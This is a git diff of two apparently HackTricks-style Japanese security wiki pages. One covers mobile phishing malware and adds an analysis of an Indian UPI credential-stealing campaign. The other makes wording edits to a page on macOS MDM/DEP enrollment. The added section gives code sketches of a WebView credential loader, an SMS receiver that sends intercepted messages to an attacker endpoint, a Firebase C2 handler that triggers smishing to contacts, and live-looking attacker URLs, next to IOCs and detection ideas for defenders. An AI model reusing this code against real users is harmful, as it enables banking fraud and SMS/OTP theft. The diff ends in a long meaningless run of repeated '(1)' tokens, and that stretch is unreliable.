diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
index 86d793ca7..8f15aeca3 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@@ -11,7 +11,7 @@
1. **SEO/フィッシングインフラ**
* 類似ドメイン(出会い系、クラウド共有、車サービスなど)を多数登録します。
– Googleでランク付けするために、`
`要素に現地の言語のキーワードと絵文字を使用します。
-– Android(`.apk`)とiOSのインストール手順の両方を同じランディングページにホストします。
+– Android(`.apk`)とiOSのインストール手順の*両方*を同じランディングページにホストします。
2. **第一段階のダウンロード**
* Android: *署名されていない*または「サードパーティストア」のAPKへの直接リンク。
* iOS: 悪意のある**mobileconfig**プロファイルへの`itms-services://`または通常のHTTPSリンク(下記参照)。
@@ -28,24 +28,24 @@
```
-* 最近のバリアントは**`AndroidManifest.xml`からSMSのための``を削除**しますが、リフレクションを通じてSMSを読み取るJava/Kotlinコードパスは残します ⇒ 権限を`AppOps`の悪用や古いターゲットを通じて付与するデバイスでは機能し続けるため、静的スコアが低下します。
+* 最近のバリアントは**`AndroidManifest.xml`からSMSのための``を削除**しますが、リフレクションを通じてSMSを読み取るJava/Kotlinコードパスは残します ⇒ 権限を`AppOps`の悪用や古いターゲットを介して付与するデバイスで機能しながら静的スコアを下げます。
5. **ファサードUIとバックグラウンド収集**
* アプリは無害なビュー(SMSビューワー、ギャラリーピッカー)をローカルに実装して表示します。
* 同時に以下を外部流出させます:
- IMEI / IMSI、電話番号
- 完全な`ContactsContract`ダンプ(JSON配列)
-- `/sdcard/DCIM`から圧縮されたJPEG/PNG(サイズを減らすために[Luban](https://github.com/Curzibn/Luban)を使用)
+- サイズを減らすために[Luban](https://github.com/Curzibn/Luban)で圧縮された`/sdcard/DCIM`からのJPEG/PNG
- オプションのSMS内容(`content://sms`)
ペイロードは**バッチ圧縮**され、`HTTP POST /upload.php`経由で送信されます。
6. **iOS配信技術**
-* 単一の**モバイル構成プロファイル**は、`PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration`などを要求して、デバイスを「MDM」のような監視に登録できます。
+* 単一の**モバイル構成プロファイル**は、デバイスを「MDM」のような監視に登録するために`PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration`などを要求できます。
* ソーシャルエンジニアリングの指示:
1. 設定を開く ➜ *プロファイルがダウンロードされました*。
-2. *インストール*を3回タップします(フィッシングページのスクリーンショット)。
+2. *インストール*を3回タップ(フィッシングページのスクリーンショット)。
3. 署名されていないプロファイルを信頼する ➜ 攻撃者は*連絡先*と*写真*の権限をApp Storeのレビューなしで取得します。
7. **ネットワーク層**
* 通常のHTTP、しばしばポート80で、`api..com`のようなHOSTヘッダーを使用します。
-* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`(TLSなし → 簡単に見つけられます)。
+* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`(TLSなし → 簡単に見つけられる)。
## 防御テスト / レッドチームのヒント
@@ -59,7 +59,7 @@
* **証明書の透明性 / DNS分析**で、キーワードが豊富なドメインの突然のバーストをキャッチします。
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php`をGoogle Play外のDalvikクライアントから取得します。
* **招待コードのテレメトリ** – APKインストール後すぐに6〜8桁の数値コードのPOSTは、ステージングを示す可能性があります。
-* **MobileConfig署名** – MDMポリシーを通じて署名されていない構成プロファイルをブロックします。
+* **MobileConfig署名** – MDMポリシーを介して署名されていない構成プロファイルをブロックします。
## 有用なFridaスニペット: 招待コードの自動バイパス
```python
@@ -86,9 +86,127 @@ return conn;
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
```
+---
+
+## Android WebView Payment Phishing (UPI) – ドロッパー + FCM C2 パターン
+
+このパターンは、インドのUPI資格情報とOTPを盗むために政府の利益テーマを悪用するキャンペーンで観察されています。オペレーターは、配信と耐障害性のために信頼できるプラットフォームを連鎖させます。
+
+### 信頼できるプラットフォーム間の配信チェーン
+- YouTube動画の誘引 → 説明に短縮リンクが含まれている
+- 短縮リンク → 正規ポータルを模倣したGitHub Pagesフィッシングサイト
+- 同じGitHubリポジトリが、ファイルに直接リンクする偽の「Google Play」バッジを持つAPKをホスト
+- 動的フィッシングページはReplit上に存在し、リモートコマンドチャネルはFirebase Cloud Messaging (FCM)を使用
+
+### 埋め込まれたペイロードとオフラインインストールを持つドロッパー
+- 最初のAPKはインストーラー(ドロッパー)で、`assets/app.apk`に本物のマルウェアを搭載し、ユーザーにクラウド検出を鈍らせるためにWi-Fi/モバイルデータを無効にするよう促す。
+- 埋め込まれたペイロードは無害なラベル(例:「セキュアアップデート」)の下にインストールされる。インストール後、インストーラーとペイロードは別々のアプリとして存在する。
+
+静的トリアージのヒント(埋め込まれたペイロードをgrepする):
+```bash
+unzip -l sample.apk | grep -i "assets/app.apk"
+# Or:
+zipgrep -i "classes|.apk" sample.apk | head
+```
+### ダイナミックエンドポイント発見 via shortlink
+- マルウェアはshortlinkからプレーンテキストのカンマ区切りのライブエンドポイントリストを取得します。シンプルな文字列変換により、最終的なフィッシングページのパスが生成されます。
+
+Example (sanitised):
+```
+GET https://rebrand.ly/dclinkto2
+Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
+Transform: "gate.html" → "gate.htm" (loaded in WebView)
+UPI credential POST: https://sqcepo.replit.app/addup.php
+SMS upload: https://sqcepo.replit.app/addsm.php
+```
+擬似コード:
+```java
+String csv = httpGet(shortlink);
+String[] parts = csv.split(",");
+String upiPage = parts[0].replace("gate.html", "gate.htm");
+String smsPost = parts[1];
+String credsPost = upiPage.replace("gate.htm", "addup.php");
+```
+### WebViewベースのUPI認証情報収集
+- 「₹1 / UPI‑Liteの支払いを行う」ステップは、WebView内の動的エンドポイントから攻撃者のHTMLフォームを読み込み、敏感なフィールド(電話、銀行、UPI PIN)をキャプチャし、それらを`addup.php`に`POST`します。
+
+最小ローダー:
+```java
+WebView wv = findViewById(R.id.web);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.loadUrl(upiPage); // ex: https:///gate.htm
+```
+### 自己伝播とSMS/OTPインターセプション
+- 初回実行時に攻撃的な権限が要求される:
+```xml
+
+
+
+
+```
+- 連絡先は、被害者のデバイスからスミッシングSMSを一斉送信するためにループされます。
+- 受信したSMSはブロードキャストレシーバーによって傍受され、メタデータ(送信者、本文、SIMスロット、デバイスごとのランダムID)と共に`/addsm.php`にアップロードされます。
+
+Receiver sketch:
+```java
+public void onReceive(Context c, Intent i){
+SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
+for (SmsMessage m: msgs){
+postForm(urlAddSms, new FormBody.Builder()
+.add("senderNum", m.getOriginatingAddress())
+.add("Message", m.getMessageBody())
+.add("Slot", String.valueOf(getSimSlot(i)))
+.add("Device rand", getOrMakeDeviceRand(c))
+.build());
+}
+}
+```
+### Firebase Cloud Messaging (FCM) を堅牢な C2 として使用
+- ペイロードは FCM に登録され、プッシュメッセージはアクションをトリガーするために使用される `_type` フィールドを持っています(例:フィッシングテキストテンプレートの更新、動作の切り替え)。
+
+例 FCM ペイロード:
+```json
+{
+"to": "",
+"data": {
+"_type": "update_texts",
+"template": "New subsidy message..."
+}
+}
+```
+ハンドラースケッチ:
+```java
+@Override
+public void onMessageReceived(RemoteMessage msg){
+String t = msg.getData().get("_type");
+switch (t){
+case "update_texts": applyTemplate(msg.getData().get("template")); break;
+case "smish": sendSmishToContacts(); break;
+// ... more remote actions
+}
+}
+```
+### ハンティングパターンとIOC
+- APKは`assets/app.apk`に二次ペイロードを含む
+- WebViewは`gate.htm`から支払いを読み込み、`/addup.php`に外部送信する
+- SMSは`/addsm.php`に外部送信する
+- 短縮リンク駆動の設定取得(例:`rebrand.ly/*`)がCSVエンドポイントを返す
+- 一般的な「更新/セキュア更新」としてラベル付けされたアプリ
+- 信頼できないアプリでの`_type`識別子を持つFCM `data`メッセージ
+
+### 検出と防御のアイデア
+- インストール中にユーザーにネットワークを無効にするよう指示し、`assets/`から二次APKをサイドロードするアプリをフラグ付けする
+- 権限タプル:`READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebViewベースの支払いフローにアラートを出す
+- 非企業ホストでの`POST /addup.php|/addsm.php`の出口監視;既知のインフラをブロックする
+- モバイルEDRルール:FCMに登録し、`_type`フィールドで分岐する信頼できないアプリ
+
+---
+
## 参考文献
-- [ロマンスの暗い側面: SarangTrap恐喝キャンペーン](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
-- [Luban – Android画像圧縮ライブラリ](https://github.com/Curzibn/Luban)
+- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
+- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
+- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
+- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
index 2b66ee844..377a39deb 100644
--- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
+++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md
@@ -15,51 +15,51 @@
- デバイスに対する集中管理。
- MDMプロトコルに準拠したMDMサーバーへの依存。
-- MDMサーバーがデバイスに対してさまざまなコマンドを送信できる能力、例えば、リモートデータ消去や設定のインストールなど。
+- MDMサーバーがデバイスにさまざまなコマンドを送信できる能力、例えば、リモートデータ消去や設定のインストールなど。
### **DEP (デバイス登録プログラム) の基本**
-Appleが提供する[デバイス登録プログラム](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) は、iOS、macOS、tvOSデバイスのモバイルデバイス管理(MDM)を簡素化し、ゼロタッチ構成を可能にします。DEPは登録プロセスを自動化し、デバイスが箱から出してすぐに動作可能となるようにし、最小限のユーザーまたは管理者の介入で済みます。重要な側面は以下の通りです:
+Appleが提供する[デバイス登録プログラム](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) は、iOS、macOS、tvOSデバイスのモバイルデバイス管理(MDM)の統合を簡素化し、ゼロタッチ構成を可能にします。DEPは登録プロセスを自動化し、デバイスが箱から出してすぐに動作可能になり、最小限のユーザーまたは管理者の介入で済むようにします。重要な側面は以下の通りです:
- デバイスが初回起動時に事前定義されたMDMサーバーに自動的に登録されることを可能にします。
- 主に新しいデバイスに有益ですが、再構成中のデバイスにも適用可能です。
- 簡単なセットアップを促進し、デバイスを迅速に組織で使用できるようにします。
-### **セキュリティの考慮事項**
+### **セキュリティ考慮事項**
-DEPによって提供される登録の容易さは有益ですが、セキュリティリスクも伴います。MDM登録に対する保護措置が適切に施されていない場合、攻撃者はこの簡素化されたプロセスを利用して、自身のデバイスを組織のMDMサーバーに登録し、企業デバイスを装う可能性があります。
+DEPによって提供される登録の容易さは有益ですが、セキュリティリスクも伴うことに注意が必要です。MDM登録に対する保護措置が適切に施されていない場合、攻撃者はこの簡素化されたプロセスを利用して、自分のデバイスを組織のMDMサーバーに登録し、企業デバイスを装う可能性があります。
> [!CAUTION]
> **セキュリティ警告**: 簡素化されたDEP登録は、適切な保護策が講じられていない場合、組織のMDMサーバーに対する不正なデバイス登録を許可する可能性があります。
### SCEP (シンプル証明書登録プロトコル) とは?
-- TLSやHTTPSが広まる前に作成された比較的古いプロトコルです。
+- TLSやHTTPSが広まる前に作成された比較的古いプロトコル。
- クライアントが証明書を取得するための**証明書署名要求** (CSR) を送信するための標準化された方法を提供します。クライアントはサーバーに署名された証明書を要求します。
### 構成プロファイル (モバイル構成ファイル) とは?
-- Appleの公式な**システム構成の設定/強制方法**です。
-- 複数のペイロードを含むことができるファイル形式です。
+- Appleによる**システム構成の設定/強制**の公式な方法。
+- 複数のペイロードを含むことができるファイル形式。
- プロパティリスト(XML形式)に基づいています。
-- 「その出所を検証し、整合性を確保し、内容を保護するために署名および暗号化できます。」 基本 — ページ70, iOSセキュリティガイド, 2018年1月。
+- 「その出所を検証し、整合性を確保し、内容を保護するために署名および暗号化できます。」基本 — ページ70, iOSセキュリティガイド, 2018年1月。
## プロトコル
### MDM
-- APNs (**Appleサーバー**) + RESTful API (**MDMベンダー**サーバー) の組み合わせ
-- **通信**は**デバイス**と**デバイス管理製品**に関連するサーバーの間で行われます
+- APNs (**Appleサーバー**) + RESTful API (**MDM** **ベンダー**サーバー) の組み合わせ
+- **通信**は**デバイス**と**デバイス管理**製品に関連するサーバーの間で行われます
- **コマンド**はMDMからデバイスに**plistエンコードされた辞書**で配信されます
-- すべて**HTTPS**経由です。MDMサーバーは(通常)ピン留めされます。
+- すべて**HTTPS**経由。MDMサーバーは(通常)ピン留めされます。
- AppleはMDMベンダーに**APNs証明書**を認証用に付与します
### DEP
-- **3つのAPI**: 1つはリセラー用、1つはMDMベンダー用、1つはデバイスID用(未文書化):
+- **3つのAPI**: 1つはリセラー用、1つはMDMベンダー用、1つはデバイスID用(未文書):
- いわゆる[DEP "クラウドサービス" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。これはMDMサーバーが特定のデバイスにDEPプロファイルを関連付けるために使用されます。
- [Apple認定リセラーが使用するDEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html)は、デバイスを登録し、登録状況を確認し、取引状況を確認します。
-- 未文書化のプライベートDEP API。これはAppleデバイスが自分のDEPプロファイルを要求するために使用されます。macOSでは、`cloudconfigurationd`バイナリがこのAPIを介して通信する責任があります。
+- 未文書のプライベートDEP API。これはAppleデバイスが自分のDEPプロファイルを要求するために使用されます。macOSでは、`cloudconfigurationd`バイナリがこのAPIを介して通信する責任があります。
- より現代的で**JSON**ベース(plistに対して)
- AppleはMDMベンダーに**OAuthトークン**を付与します
@@ -67,15 +67,15 @@ DEPによって提供される登録の容易さは有益ですが、セキュ
- RESTful
- AppleからMDMサーバーへのデバイスレコードの同期
-- MDMサーバーからAppleへの「DEPプロファイル」の同期(後でデバイスに配信される)
-- DEP「プロファイル」には以下が含まれます:
+- MDMサーバーからAppleへの“DEPプロファイル”の同期(後でデバイスに配信される)
+- DEP “プロファイル”には以下が含まれます:
- MDMベンダーサーバーのURL
- サーバーURL用の追加の信頼された証明書(オプションのピン留め)
- 追加の設定(例:セットアップアシスタントでスキップする画面)
## シリアル番号
-2010年以降に製造されたAppleデバイスは一般的に**12文字の英数字**のシリアル番号を持ち、**最初の3桁は製造場所**を表し、次の**2桁**は**製造年**と**週**を示し、次の**3桁**は**ユニークな識別子**を提供し、**最後の4桁**は**モデル番号**を表します。
+2010年以降に製造されたAppleデバイスは一般的に**12文字の英数字**のシリアル番号を持ち、**最初の3桁は製造場所**を表し、次の**2桁**は**製造年**と**週**を示し、次の**3桁**は**ユニーク**な**識別子**を提供し、**最後の4桁**は**モデル番号**を表します。
{{#ref}}
macos-serial-number.md
@@ -93,7 +93,7 @@ macos-serial-number.md
.png>)
-ファイル `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` は、登録プロセスの**高レベルの「ステップ」**と見なされる関数をエクスポートします。
+ファイル`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd`は、登録プロセスの**高レベルの「ステップ」**と見なされる関数をエクスポートします。
### ステップ4: DEPチェックイン - アクティベーションレコードの取得
@@ -101,13 +101,13 @@ macos-serial-number.md
.png>)
-または `sudo profiles show -type enrollment` を実行したときに。
+または`sudo profiles show -type enrollment`を実行したとき。
- **デバイスがDEP対応かどうかを判断**
-- アクティベーションレコードは**DEP「プロファイル」**の内部名です
+- アクティベーションレコードは**DEP “プロファイル”**の内部名です
- デバイスがインターネットに接続されるとすぐに始まります
- **`CPFetchActivationRecord`**によって駆動されます
-- **`cloudconfigurationd`**によってXPC経由で実装されます。デバイスが初めて起動されたときの**「セットアップアシスタント」**または**`profiles`**コマンドがこのデーモンに連絡してアクティベーションレコードを取得します。
+- **`cloudconfigurationd`**によってXPC経由で実装されます。デバイスが初めて起動されたときの**"セットアップアシスタント"**または**`profiles`**コマンドがこのデーモンに連絡してアクティベーションレコードを取得します。
- LaunchDaemon(常にrootとして実行)
アクティベーションレコードを取得するために**`MCTeslaConfigurationFetcher`**によって実行されるいくつかのステップに従います。このプロセスは**Absinthe**という暗号化を使用します。
@@ -120,7 +120,7 @@ macos-serial-number.md
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. セッションを確立(**`NACKeyEstablishment`**)
5. リクエストを行う
-1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) にデータ `{ "action": "RequestProfileConfiguration", "sn": "" }` を送信
+1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile)にデータ`{ "action": "RequestProfileConfiguration", "sn": "" }`を送信
2. JSONペイロードはAbsintheで暗号化されます(**`NACSign`**)
3. すべてのリクエストはHTTPs経由で行われ、組み込みのルート証明書が使用されます
@@ -128,7 +128,7 @@ macos-serial-number.md
レスポンスは、以下のような重要なデータを含むJSON辞書です:
-- **url**: アクティベーションプロファイルのMDMベンダーホストのURL
+- **url**: アクティベーションプロファイルのためのMDMベンダーホストのURL
- **anchor-certs**: 信頼されたアンカーとして使用されるDER証明書の配列
### **ステップ5: プロファイルの取得**
@@ -137,11 +137,67 @@ macos-serial-number.md
- **DEPプロファイル**で提供された**url**にリクエストが送信されます。
- 提供された場合、**アンカー証明書**が**信頼性を評価**するために使用されます。
-- リマインダー: DEPプロファイルの**anchor_certs**プロパティ
+- リマインダー: **DEPプロファイルのanchor_certsプロパティ**
- **リクエストはデバイス識別を含むシンプルな.plist**です
- 例: **UDID、OSバージョン**。
- CMS署名、DERエンコード
-- **デバイスID証明書(APNSからの)**を使用して署名されています。
-- **証明書チェーン**には期限切れの**Apple iPhone Device CA**が含まれています。
+- **デバイスID証明書(APNSからの)**を使用して署名されます。
+- **証明書チェーン**には期限切れの**Apple iPhone Device CA**が含まれます。
- (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 